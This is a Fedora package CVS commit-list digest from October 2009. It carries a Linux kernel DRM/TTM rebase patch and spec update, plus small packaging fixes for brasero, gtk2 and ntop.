 b/drivers/gpu/drm/radeon/rs600d.h                 |  470 
 b/drivers/gpu/drm/radeon/rs690.c                  |  358 
 b/drivers/gpu/drm/radeon/rs690d.h                 |  307 
 b/drivers/gpu/drm/radeon/rv200d.h                 |   36 
 b/drivers/gpu/drm/radeon/rv250d.h                 |  123 
 b/drivers/gpu/drm/radeon/rv350d.h                 |   52 
 b/drivers/gpu/drm/radeon/rv515.c                  |  881 
 b/drivers/gpu/drm/radeon/rv515d.h                 |  603 
 b/drivers/gpu/drm/radeon/rv770.c                  | 1056 
 b/drivers/gpu/drm/radeon/rv770d.h                 |  346 
 b/drivers/gpu/drm/ttm/ttm_bo.c                    |  295 
 b/drivers/gpu/drm/ttm/ttm_bo_util.c               |    4 
 b/drivers/gpu/drm/ttm/ttm_global.c                |    6 
 b/drivers/gpu/drm/ttm/ttm_memory.c                |  508 
 b/drivers/gpu/drm/ttm/ttm_module.c                |   58 
 b/drivers/gpu/drm/ttm/ttm_tt.c                    |  104 
 b/drivers/video/fbmem.c                           |    2 
 b/firmware/Makefile                               |   16 
 b/firmware/WHENCE                                 |  121 
 b/firmware/matrox/g200_warp.H16                   |   28 
 b/firmware/matrox/g400_warp.H16                   |   44 
 b/firmware/r128/r128_cce.bin.ihex                 |  129 
 b/firmware/radeon/R100_cp.bin.ihex                |  130 
 b/firmware/radeon/R200_cp.bin.ihex                |  130 
 b/firmware/radeon/R300_cp.bin.ihex                |  130 
 b/firmware/radeon/R420_cp.bin.ihex                |  130 
 b/firmware/radeon/R520_cp.bin.ihex                |  130 
 b/firmware/radeon/R600_me.bin.ihex                | 1345 +
 b/firmware/radeon/R600_pfp.bin.ihex               |  145 
 b/firmware/radeon/RS600_cp.bin.ihex               |  130 
 b/firmware/radeon/RS690_cp.bin.ihex               |  130 
 b/firmware/radeon/RS780_me.bin.ihex               | 1345 +
 b/firmware/radeon/RS780_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV610_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV610_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV620_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV620_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV630_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV630_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV635_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV635_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV670_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV670_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV710_me.bin.ihex               |  341 
 b/firmware/radeon/RV710_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV730_me.bin.ihex               |  341 
 b/firmware/radeon/RV730_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV770_me.bin.ihex               |  341 
 b/firmware/radeon/RV770_pfp.bin.ihex              |  213 
 b/include/drm/drmP.h                              |   54 
 b/include/drm/drm_cache.h                         |   38 
 b/include/drm/drm_crtc.h                          |   28 
 b/include/drm/drm_crtc_helper.h                   |   10 
 b/include/drm/drm_encoder_slave.h                 |  162 
 b/include/drm/drm_fb_helper.h                     |  111 
 b/include/drm/drm_mm.h                            |    7 
 b/include/drm/drm_mode.h                          |   11 
 b/include/drm/drm_pciids.h                        |    4 
 b/include/drm/drm_sysfs.h                         |   12 
 b/include/drm/radeon_drm.h                        |   12 
 b/include/drm/ttm/ttm_bo_api.h                    |   13 
 b/include/drm/ttm/ttm_bo_driver.h                 |   94 
 b/include/drm/ttm/ttm_memory.h                    |   43 
 b/include/drm/ttm/ttm_module.h                    |    2 
 drivers/gpu/drm/i915/i915_gem_debugfs.c           |  396 
 drivers/gpu/drm/mga/mga_ucode.h                   |11645 ----------
 drivers/gpu/drm/radeon/r300.h                     |   36 
 drivers/gpu/drm/radeon/r600_microcode.h           |23297 ----------------------
 drivers/gpu/drm/radeon/radeon_microcode.h         | 1844 -
 drivers/gpu/drm/radeon/radeon_share.h             |   39 
 drivers/gpu/drm/radeon/rs690r.h                   |   99 
 drivers/gpu/drm/radeon/rs780.c                    |  102 
 drivers/gpu/drm/radeon/rv515r.h                   |  170 
 184 files changed, 41227 insertions(+), 43788 deletions(-)

--- NEW FILE drm-next-3e5cb98d.patch ---
diff --git a/drivers/gpu/drm/Kconfig b/drivers/gpu/drm/Kconfig
index 39b393d..e4d971c 100644
--- a/drivers/gpu/drm/Kconfig
+++ b/drivers/gpu/drm/Kconfig
@@ -18,6 +18,14 @@ menuconfig DRM
 	  details.  You should also select and configure AGP
 	  (/dev/agpgart) support.
 
+config DRM_KMS_HELPER
+	tristate
+	depends on DRM
+	select FB
+	select FRAMEBUFFER_CONSOLE if !EMBEDDED
+	help
+	  FB and CRTC helpers for KMS drivers.
+
 config DRM_TTM
 	tristate
 	depends on DRM
@@ -36,6 +44,7 @@ config DRM_TDFX
 config DRM_R128
 	tristate "ATI Rage 128"
 	depends on DRM && PCI
+	select FW_LOADER
 	help
 	  Choose this option if you have an ATI Rage 128 graphics card.  If M
 	  is selected, the module will be called r128.  AGP support for
@@ -47,8 +56,9 @@ config DRM_RADEON
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
-	select FB
-	select FRAMEBUFFER_CONSOLE if !EMBEDDED
+	select FW_LOADER
+        select DRM_KMS_HELPER
+        select DRM_TTM
 	help
 	  Choose this option if you have an ATI Radeon graphics card.  There
 	  are both PCI and AGP versions.  You don't need to choose this to
@@ -82,11 +92,10 @@ config DRM_I830
 config DRM_I915
 	tristate "i915 driver"
 	depends on AGP_INTEL
+	select DRM_KMS_HELPER
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
-	select FB
-	select FRAMEBUFFER_CONSOLE if !EMBEDDED
 	# i915 depends on ACPI_VIDEO when ACPI is enabled
 	# but for select to work, need to select ACPI_VIDEO's dependencies, ick
 	select VIDEO_OUTPUT_CONTROL if ACPI
@@ -116,6 +125,7 @@ endchoice
 config DRM_MGA
 	tristate "Matrox g200/g400"
 	depends on DRM
+	select FW_LOADER
 	help
 	  Choose this option if you have a Matrox G200, G400 or G450 graphics
 	  card.  If M is selected, the module will be called mga.  AGP
diff --git a/drivers/gpu/drm/Makefile b/drivers/gpu/drm/Makefile
index fe23f29..3c8827a 100644
--- a/drivers/gpu/drm/Makefile
+++ b/drivers/gpu/drm/Makefile
@@ -10,11 +10,15 @@ drm-y       :=	drm_auth.o drm_bufs.o drm_cache.o \
 		drm_lock.o drm_memory.o drm_proc.o drm_stub.o drm_vm.o \
 		drm_agpsupport.o drm_scatter.o ati_pcigart.o drm_pci.o \
 		drm_sysfs.o drm_hashtab.o drm_sman.o drm_mm.o \
-		drm_crtc.o drm_crtc_helper.o drm_modes.o drm_edid.o \
-		drm_info.o drm_debugfs.o
+		drm_crtc.o drm_modes.o drm_edid.o \
+		drm_info.o drm_debugfs.o drm_encoder_slave.o
 
 drm-$(CONFIG_COMPAT) += drm_ioc32.o
 
+drm_kms_helper-y := drm_fb_helper.o drm_crtc_helper.o
+
+obj-$(CONFIG_DRM_KMS_HELPER) += drm_kms_helper.o
+
 obj-$(CONFIG_DRM)	+= drm.o
 obj-$(CONFIG_DRM_TTM)	+= ttm/
 obj-$(CONFIG_DRM_TDFX)	+= tdfx/
diff --git a/drivers/gpu/drm/drm_bufs.c b/drivers/gpu/drm/drm_bufs.c
index 6246e3f..3d09e30 100644
--- a/drivers/gpu/drm/drm_bufs.c
+++ b/drivers/gpu/drm/drm_bufs.c
@@ -310,10 +310,10 @@ static int drm_addmap_core(struct drm_device * dev, resource_size_t offset,
 			  (unsigned long long)map->offset, map->size);
 
 		break;
+	}
 	case _DRM_GEM:
-		DRM_ERROR("tried to rmmap GEM object\n");
+		DRM_ERROR("tried to addmap GEM object\n");
 		break;
-	}
 	case _DRM_SCATTER_GATHER:
 		if (!dev->sg) {
 			kfree(map);
diff --git a/drivers/gpu/drm/drm_cache.c b/drivers/gpu/drm/drm_cache.c
index 0e994a0..0e3bd5b 100644
--- a/drivers/gpu/drm/drm_cache.c
+++ b/drivers/gpu/drm/drm_cache.c
@@ -45,6 +45,23 @@ drm_clflush_page(struct page *page)
 		clflush(page_virtual + i);
 	kunmap_atomic(page_virtual, KM_USER0);
 }
+
+static void drm_cache_flush_clflush(struct page *pages[],
+				    unsigned long num_pages)
+{
+	unsigned long i;
+
+	mb();
+	for (i = 0; i < num_pages; i++)
+		drm_clflush_page(*pages++);
+	mb();
+}
+
+static void
+drm_clflush_ipi_handler(void *null)
+{
+	wbinvd();
+}
 #endif
 
 void
@@ -53,17 +70,30 @@ drm_clflush_pages(struct page *pages[], unsigned long num_pages)
 
 #if defined(CONFIG_X86)
 	if (cpu_has_clflush) {
-		unsigned long i;
-
-		mb();
-		for (i = 0; i < num_pages; ++i)
-			drm_clflush_page(*pages++);
-		mb();
-
+		drm_cache_flush_clflush(pages, num_pages);
 		return;
 	}
 
-	wbinvd();
+	if (on_each_cpu(drm_clflush_ipi_handler, NULL, 1) != 0)
+		printk(KERN_ERR "Timed out waiting for cache flush.\n");
+
+#elif defined(__powerpc__)
+	unsigned long i;
+	for (i = 0; i < num_pages; i++) {
+		struct page *page = pages[i];
+		void *page_virtual;
+
+		if (unlikely(page == NULL))
+			continue;
+
+		page_virtual = kmap_atomic(page, KM_USER0);
+		flush_dcache_range((unsigned long)page_virtual,
+				   (unsigned long)page_virtual + PAGE_SIZE);
+		kunmap_atomic(page_virtual, KM_USER0);
+	}
+#else
+	printk(KERN_ERR "Architecture has no drm_cache.c support\n");
+	WARN_ON_ONCE(1);
 #endif
 }
 EXPORT_SYMBOL(drm_clflush_pages);
diff --git a/drivers/gpu/drm/drm_crtc.c b/drivers/gpu/drm/drm_crtc.c
index 2f631c7..5cae0b3 100644
--- a/drivers/gpu/drm/drm_crtc.c
+++ b/drivers/gpu/drm/drm_crtc.c
@@ -68,10 +68,10 @@ DRM_ENUM_NAME_FN(drm_get_dpms_name, drm_dpms_enum_list)
  */
 static struct drm_prop_enum_list drm_scaling_mode_enum_list[] =
 {
-	{ DRM_MODE_SCALE_NON_GPU, "Non-GPU" },
-	{ DRM_MODE_SCALE_FULLSCREEN, "Fullscreen" },
-	{ DRM_MODE_SCALE_NO_SCALE, "No scale" },
-	{ DRM_MODE_SCALE_ASPECT, "Aspect" },
+	{ DRM_MODE_SCALE_NONE, "None" },
+	{ DRM_MODE_SCALE_FULLSCREEN, "Full" },
+	{ DRM_MODE_SCALE_CENTER, "Center" },
+	{ DRM_MODE_SCALE_ASPECT, "Full aspect" },
 };
 
 static struct drm_prop_enum_list drm_dithering_mode_enum_list[] =
@@ -108,6 +108,7 @@ static struct drm_prop_enum_list drm_tv_select_enum_list[] =
 	{ DRM_MODE_SUBCONNECTOR_Composite, "Composite" }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_SVIDEO,    "SVIDEO"    }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_Component, "Component" }, /* TV-out */
+	{ DRM_MODE_SUBCONNECTOR_SCART,     "SCART"     }, /* TV-out */
 };
 
 DRM_ENUM_NAME_FN(drm_get_tv_select_name, drm_tv_select_enum_list)
@@ -118,6 +119,7 @@ static struct drm_prop_enum_list drm_tv_subconnector_enum_list[] =
 	{ DRM_MODE_SUBCONNECTOR_Composite, "Composite" }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_SVIDEO,    "SVIDEO"    }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_Component, "Component" }, /* TV-out */
+	{ DRM_MODE_SUBCONNECTOR_SCART,     "SCART"     }, /* TV-out */
 };
[...93387 lines suppressed...]
+ */
+
+struct ttm_bo_global {
+
+	/**
+	 * Constant after init.
+	 */
+
+	struct kobject kobj;
+	struct ttm_mem_global *mem_glob;
+	struct page *dummy_read_page;
+	struct ttm_mem_shrink shrink;
+	size_t ttm_bo_extra_size;
+	size_t ttm_bo_size;
+	struct mutex device_list_mutex;
+	spinlock_t lru_lock;
+
+	/**
+	 * Protected by device_list_mutex.
+	 */
+	struct list_head device_list;
+
+	/**
+	 * Protected by the lru_lock.
+	 */
+	struct list_head swap_lru;
+
+	/**
+	 * Internal protection.
+	 */
+	atomic_t bo_count;
+};
+
+
+#define TTM_NUM_MEM_TYPES 8
+
+#define TTM_BO_PRIV_FLAG_MOVING  0	/* Buffer object is moving and needs
+					   idling before CPU mapping */
+#define TTM_BO_PRIV_FLAG_MAX 1
+/**
+ * struct ttm_bo_device - Buffer object driver device-specific data.
+ *
+ * @driver: Pointer to a struct ttm_bo_driver struct setup by the driver.
  * @man: An array of mem_type_managers.
  * @addr_space_mm: Range manager for the device address space.
  * lru_lock: Spinlock that protects the buffer+device lru lists and
@@ -399,32 +449,21 @@ struct ttm_bo_device {
 	/*
 	 * Constant after bo device init / atomic.
 	 */
-
-	struct ttm_mem_global *mem_glob;
+	struct list_head device_list;
+	struct ttm_bo_global *glob;
 	struct ttm_bo_driver *driver;
-	struct page *dummy_read_page;
-	struct ttm_mem_shrink shrink;
-
-	size_t ttm_bo_extra_size;
-	size_t ttm_bo_size;
-
 	rwlock_t vm_lock;
+	struct ttm_mem_type_manager man[TTM_NUM_MEM_TYPES];
 	/*
 	 * Protected by the vm lock.
 	 */
-	struct ttm_mem_type_manager man[TTM_NUM_MEM_TYPES];
 	struct rb_root addr_space_rb;
 	struct drm_mm addr_space_mm;
 
 	/*
-	 * Might want to change this to one lock per manager.
-	 */
-	spinlock_t lru_lock;
-	/*
-	 * Protected by the lru lock.
+	 * Protected by the global:lru lock.
 	 */
 	struct list_head ddestroy;
-	struct list_head swap_lru;
 
 	/*
 	 * Protected by load / firstopen / lastclose /unload sync.
@@ -640,6 +679,9 @@ extern int ttm_bo_pci_offset(struct ttm_bo_device *bdev,
 			     unsigned long *bus_offset,
 			     unsigned long *bus_size);
 
+extern void ttm_bo_global_release(struct ttm_global_reference *ref);
+extern int ttm_bo_global_init(struct ttm_global_reference *ref);
+
 extern int ttm_bo_device_release(struct ttm_bo_device *bdev);
 
 /**
@@ -657,7 +699,7 @@ extern int ttm_bo_device_release(struct ttm_bo_device *bdev);
  * !0: Failure.
  */
 extern int ttm_bo_device_init(struct ttm_bo_device *bdev,
-			      struct ttm_mem_global *mem_glob,
+			      struct ttm_bo_global *glob,
 			      struct ttm_bo_driver *driver,
 			      uint64_t file_page_offset, bool need_dma32);
 
diff --git a/include/drm/ttm/ttm_memory.h b/include/drm/ttm/ttm_memory.h
index d8b8f04..6983a7c 100644
--- a/include/drm/ttm/ttm_memory.h
+++ b/include/drm/ttm/ttm_memory.h
@@ -32,6 +32,7 @@
 #include <linux/spinlock.h>
 #include <linux/wait.h>
 #include <linux/errno.h>
+#include <linux/kobject.h>
 
 /**
  * struct ttm_mem_shrink - callback to shrink TTM memory usage.
@@ -60,34 +61,33 @@ struct ttm_mem_shrink {
  * @queue: Wait queue for processes suspended waiting for memory.
  * @lock: Lock to protect the @shrink - and the memory accounting members,
  * that is, essentially the whole structure with some exceptions.
- * @emer_memory: Lowmem memory limit available for root.
- * @max_memory: Lowmem memory limit available for non-root.
- * @swap_limit: Lowmem memory limit where the shrink workqueue kicks in.
- * @used_memory: Currently used lowmem memory.
- * @used_total_memory: Currently used total (lowmem + highmem) memory.
- * @total_memory_swap_limit: Total memory limit where the shrink workqueue
- * kicks in.
- * @max_total_memory: Total memory available to non-root processes.
- * @emer_total_memory: Total memory available to root processes.
+ * @zones: Array of pointers to accounting zones.
+ * @num_zones: Number of populated entries in the @zones array.
+ * @zone_kernel: Pointer to the kernel zone.
+ * @zone_highmem: Pointer to the highmem zone if there is one.
+ * @zone_dma32: Pointer to the dma32 zone if there is one.
  *
  * Note that this structure is not per device. It should be global for all
  * graphics devices.
  */
 
+#define TTM_MEM_MAX_ZONES 2
+struct ttm_mem_zone;
 struct ttm_mem_global {
+	struct kobject kobj;
 	struct ttm_mem_shrink *shrink;
 	struct workqueue_struct *swap_queue;
 	struct work_struct work;
 	wait_queue_head_t queue;
 	spinlock_t lock;
-	uint64_t emer_memory;
-	uint64_t max_memory;
-	uint64_t swap_limit;
-	uint64_t used_memory;
-	uint64_t used_total_memory;
-	uint64_t total_memory_swap_limit;
-	uint64_t max_total_memory;
-	uint64_t emer_total_memory;
+	struct ttm_mem_zone *zones[TTM_MEM_MAX_ZONES];
+	unsigned int num_zones;
+	struct ttm_mem_zone *zone_kernel;
+#ifdef CONFIG_HIGHMEM
+	struct ttm_mem_zone *zone_highmem;
+#else
+	struct ttm_mem_zone *zone_dma32;
+#endif
 };
 
 /**
@@ -146,8 +146,13 @@ static inline void ttm_mem_unregister_shrink(struct ttm_mem_global *glob,
 extern int ttm_mem_global_init(struct ttm_mem_global *glob);
 extern void ttm_mem_global_release(struct ttm_mem_global *glob);
 extern int ttm_mem_global_alloc(struct ttm_mem_global *glob, uint64_t memory,
-				bool no_wait, bool interruptible, bool himem);
+				bool no_wait, bool interruptible);
 extern void ttm_mem_global_free(struct ttm_mem_global *glob,
-				uint64_t amount, bool himem);
+				uint64_t amount);
+extern int ttm_mem_global_alloc_page(struct ttm_mem_global *glob,
+				     struct page *page,
+				     bool no_wait, bool interruptible);
+extern void ttm_mem_global_free_page(struct ttm_mem_global *glob,
+				     struct page *page);
 extern size_t ttm_round_pot(size_t size);
 #endif
diff --git a/include/drm/ttm/ttm_module.h b/include/drm/ttm/ttm_module.h
index d1d4338..cf416ae 100644
--- a/include/drm/ttm/ttm_module.h
+++ b/include/drm/ttm/ttm_module.h
@@ -32,6 +32,7 @@
 #define _TTM_MODULE_H_
 
 #include <linux/kernel.h>
+struct kobject;
 
 #define TTM_PFX "[TTM] "
 
@@ -54,5 +55,6 @@ extern void ttm_global_init(void);
 extern void ttm_global_release(void);
 extern int ttm_global_item_ref(struct ttm_global_reference *ref);
 extern void ttm_global_item_unref(struct ttm_global_reference *ref);
+extern struct kobject *ttm_get_kobj(void);
 
 #endif /* _TTM_MODULE_H_ */


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1882
retrieving revision 1.1883
diff -u -p -r1.1882 -r1.1883
--- kernel.spec	23 Oct 2009 22:58:21 -0000	1.1882
+++ kernel.spec	26 Oct 2009 04:05:43 -0000	1.1883
@@ -686,16 +686,15 @@ Patch1585: linux-2.6-xen-increase-device
 Patch1586: linux-2.6-virtio_blk-add-support-for-cache-flush.patch
 
 # nouveau + drm fixes
-Patch1812: drm-next-d4ac6a05.patch
+Patch1812: drm-next-3e5cb98d.patch
 Patch1813: drm-radeon-pm.patch
 Patch1814: drm-nouveau.patch
 Patch1818: drm-i915-resume-force-mode.patch
-Patch1819: drm-intel-big-hammer.patch
 # intel drm is all merged upstream
 Patch1824: drm-intel-next.patch
 Patch1825: drm-intel-pm.patch
 Patch1826: drm-intel-no-tv-hotplug.patch
-Patch1827: drm-fix-palette.patch
+Patch1827: drm-disable-r600-aspm.patch
 
 # vga arb
 Patch1900: linux-2.6-vga-arb.patch
@@ -1374,18 +1373,17 @@ ApplyPatch linux-2.6-block-silently-erro
 ApplyPatch linux-2.6-e1000-ich9.patch
 
 # Nouveau DRM + drm fixes
-ApplyPatch drm-next-d4ac6a05.patch
+ApplyPatch drm-next-3e5cb98d.patch
 
 ApplyPatch drm-nouveau.patch
 # pm broken on my thinkpad t60p - airlied
 #ApplyPatch drm-radeon-pm.patch
 ApplyPatch drm-i915-resume-force-mode.patch
-ApplyPatch drm-intel-big-hammer.patch
 ApplyOptionalPatch drm-intel-next.patch
 #this appears to be upstream - mjg59?
 #ApplyPatch drm-intel-pm.patch
 ApplyPatch drm-intel-no-tv-hotplug.patch
-ApplyPatch drm-fix-palette.patch
+ApplyPatch drm-disable-r600-aspm.patch
 
 # VGA arb + drm
 ApplyPatch linux-2.6-vga-arb.patch
@@ -2092,6 +2090,11 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 26 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-97
+- drm: rebase to drm-next, drop palette fix, merged upstream
+- drm-intel-big-hammer.patch: drop, proper fix in 2.6.31.5
+- drm-disable-r600-aspm.patch: test patch to disable aspm on r600/r700 for now
+
 * Fri Oct 23 2009 Kyle McMartin <kyle at redhat.com> 2.6.31.5-96
 - Bump NR_CPUS to 256 on x86_64.
 - Add two backports (ugh, just had to go renaming perf counters to events...)


--- drm-fix-palette.patch DELETED ---


--- drm-intel-big-hammer.patch DELETED ---


--- drm-next-d4ac6a05.patch DELETED ---



From mclasen at fedoraproject.org  Mon Oct 26 04:47:20 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 26 Oct 2009 04:47:20 +0000 (UTC)
Subject: rpms/brasero/F-12 last_unsaved.patch, NONE, 1.1 brasero.spec, 1.68,
	1.69
Message-ID: <20091026044720.BFC2611C0268@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/brasero/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15921

Modified Files:
	brasero.spec 
Added Files:
	last_unsaved.patch 
Log Message:
avoid a stray underline in the ui


last_unsaved.patch:
 brasero-project-type-chooser.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE last_unsaved.patch ---
diff -up brasero-2.28.2/src/brasero-project-type-chooser.c.last_unsaved brasero-2.28.2/src/brasero-project-type-chooser.c
--- brasero-2.28.2/src/brasero-project-type-chooser.c.last_unsaved	2009-10-26 00:40:37.993196525 -0400
+++ brasero-2.28.2/src/brasero-project-type-chooser.c	2009-10-26 00:41:43.604186889 -0400
@@ -297,6 +297,7 @@ brasero_project_type_chooser_build_recen
 		gtk_button_set_alignment (GTK_BUTTON (link), 0.0, 0.5);
 		gtk_button_set_focus_on_click (GTK_BUTTON (link), FALSE);
 		gtk_button_set_image (GTK_BUTTON (link), image);
+		gtk_button_set_use_underline (GTK_BUTTON (link), TRUE);
 		g_signal_connect (link,
 				  "clicked",
 				  G_CALLBACK (brasero_project_type_chooser_last_unsaved_clicked_cb),


Index: brasero.spec
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/F-12/brasero.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- brasero.spec	20 Oct 2009 16:51:38 -0000	1.68
+++ brasero.spec	26 Oct 2009 04:47:18 -0000	1.69
@@ -1,11 +1,15 @@
 Name:      brasero
 Version:   2.28.2
-Release:   1%{?dist}
+Release:   2%{?dist}
 Summary:   Gnome CD/DVD burning application
 Group:     Applications/Multimedia
 License:   GPLv2+
 URL:       http://www.gnome.org/projects/brasero/
 Source0:   http://ftp.gnome.org/pub/GNOME/sources/brasero/2.28/%{name}-%{version}.tar.bz2
+
+# https://bugzilla.gnome.org/show_bug.cgi?id=599620
+Patch0: last_unsaved.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  glib2-devel >= 2.15.6
@@ -86,6 +90,7 @@ developing brasero applications.
 
 %prep
 %setup -q
+%patch0 -p1 -b .last_unsaved
 
 %build
 %configure \
@@ -203,6 +208,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> 2.28.2-2
+- Avoid a stray underline in a button label
+
 * Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> 2.28.2-1
 - Update to 2.28.2
 



From mclasen at fedoraproject.org  Mon Oct 26 05:03:58 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 26 Oct 2009 05:03:58 +0000 (UTC)
Subject: rpms/gtk2/F-12 toolbutton-assert.patch, NONE, 1.1 gtk2.spec, 1.424, 
	1.425
Message-ID: <20091026050358.AA2B411C0268@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18427

Modified Files:
	gtk2.spec 
Added Files:
	toolbutton-assert.patch 
Log Message:
Fix a possible assertion failure in GtkToolButton


toolbutton-assert.patch:
 gtktoolbutton.c |   11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

--- NEW FILE toolbutton-assert.patch ---
diff -up gtk+-2.18.3/gtk/gtktoolbutton.c.toolbutton-assert gtk+-2.18.3/gtk/gtktoolbutton.c
--- gtk+-2.18.3/gtk/gtktoolbutton.c.toolbutton-assert	2009-10-26 01:00:01.837187173 -0400
+++ gtk+-2.18.3/gtk/gtktoolbutton.c	2009-10-26 00:59:21.061192110 -0400
@@ -916,10 +916,13 @@ gtk_tool_button_set_label (GtkToolButton
   button->priv->label_text = g_strdup (label);
   button->priv->contents_invalid = TRUE;     
 
-  elided_label = _gtk_toolbar_elide_underscores (label);
-  accessible = gtk_widget_get_accessible (GTK_WIDGET (button->priv->button));
-  atk_object_set_name (accessible, elided_label);
-  g_free (elided_label);
+  if (label)
+    {
+      elided_label = _gtk_toolbar_elide_underscores (label);
+      accessible = gtk_widget_get_accessible (GTK_WIDGET (button->priv->button));
+      atk_object_set_name (accessible, elided_label);
+      g_free (elided_label);
+    }
 
   g_free (old_label);
  


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.424
retrieving revision 1.425
diff -u -p -r1.424 -r1.425
--- gtk2.spec	26 Oct 2009 03:54:32 -0000	1.424
+++ gtk2.spec	26 Oct 2009 05:03:58 -0000	1.425
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -43,6 +43,8 @@ Patch7: symbolic-color-parsing.patch
 Patch8: tooltip-positioning.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=581150
 Patch9: iconview-hang.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=599446
+Patch10: toolbutton-assert.patch
 
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -163,6 +165,7 @@ This package contains developer document
 %patch7 -p1 -b .symbolic-color-parsing
 %patch8 -p1 -b .tooltip-positioning
 %patch9 -p1 -b .iconview-hang
+%patch10 -p1 -b .toolbutton-assert
 
 %build
 libtoolize --force --copy
@@ -399,6 +402,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Matthias Clasen <mclasen at redhta.com> - 2.18.3-12
+- Fix a possible assertion failure in GtkToolButton
+
 * Fri Oct 23 2009 Matthew Barnes <mbarnes at redhat.com> - 2.18.3-11
 - Fix a GtkIconView hang
 



From huzaifas at fedoraproject.org  Mon Oct 26 05:06:33 2009
From: huzaifas at fedoraproject.org (Huzaifa Sidhpurwala)
Date: Mon, 26 Oct 2009 05:06:33 +0000 (UTC)
Subject: rpms/ntop/EL-5 ntop.spec,1.3,1.4
Message-ID: <20091026050633.A426211C0268@cvs1.fedora.phx.redhat.com>

Author: huzaifas

Update of /cvs/pkgs/rpms/ntop/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18785

Modified Files:
	ntop.spec 
Log Message:
Changes to build on EL-5


Index: ntop.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ntop/EL-5/ntop.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- ntop.spec	16 Apr 2009 05:59:06 -0000	1.3
+++ ntop.spec	26 Oct 2009 05:06:33 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           ntop
 Version:        3.3.9
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        A network traffic probe similar to the UNIX top command
 Group:          Applications/Internet
 License:        GPLv2 and BSD with advertising
@@ -13,16 +13,16 @@ Source4:        http://www.maxmind.com/d
 Patch1:         ntop-am.patch
 Patch2:         ntop-running-user.patch
 Patch3:         ntop-dbfile-default-dir.patch
-Patch4:         ntop-compile.patch
-Patch5:         ntop-enable-sslv3.patch
-Patch6:         ntop-geoip.patch
-Patch7:         ntop-http_c.patch
+Patch4:         ntop-enable-sslv3.patch
+Patch5:         ntop-geoip.patch
+Patch6:         ntop-http_c.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  autoconf, automake, pkgconfig, libtool, groff, libpcap-devel wget 
 BuildRequires:  gdbm-devel, gd-devel, rrdtool-devel, openssl-devel
 BuildRequires:  net-snmp-devel, pcre-devel, mysql-devel
 BuildRequires:  perl(ExtUtils::Embed)
 BuildRequires:  GeoIP-devel
+BuildRequires:	tcp_wrappers
 Requires:       initscripts, graphviz
 Requires(post): /sbin/chkconfig      
 Requires(post): openssl >= 0.9.7f-4, /bin/cat
@@ -67,10 +67,9 @@ find . \( -name \*\.gz -o -name \*\.c -o
 %patch1 -p1 -b .am
 %patch2 -p1 -b .user
 %patch3 -p1 -b .dbfile-default-dir
-%patch4 -p1 -b .compile
-%patch5 -p1 -b .sslv3
-%patch6 -p1 -b .geo
-%patch7 -p1 -b .http_c
+%patch4 -p1 -b .sslv3
+%patch5 -p1 -b .geo
+%patch6 -p1 -b .http_c
 
 
 %build
@@ -187,6 +186,11 @@ fi
 %{_localstatedir}/lib/ntop/rrd
 
 %changelog
+* Mon Oct 26 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> - 3.3.9-6
+- Remove compile patch
+- Add BR as tcp_wrappers
+- Version bump
+
 * Thu Apr 16 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> - 3.3.9-5
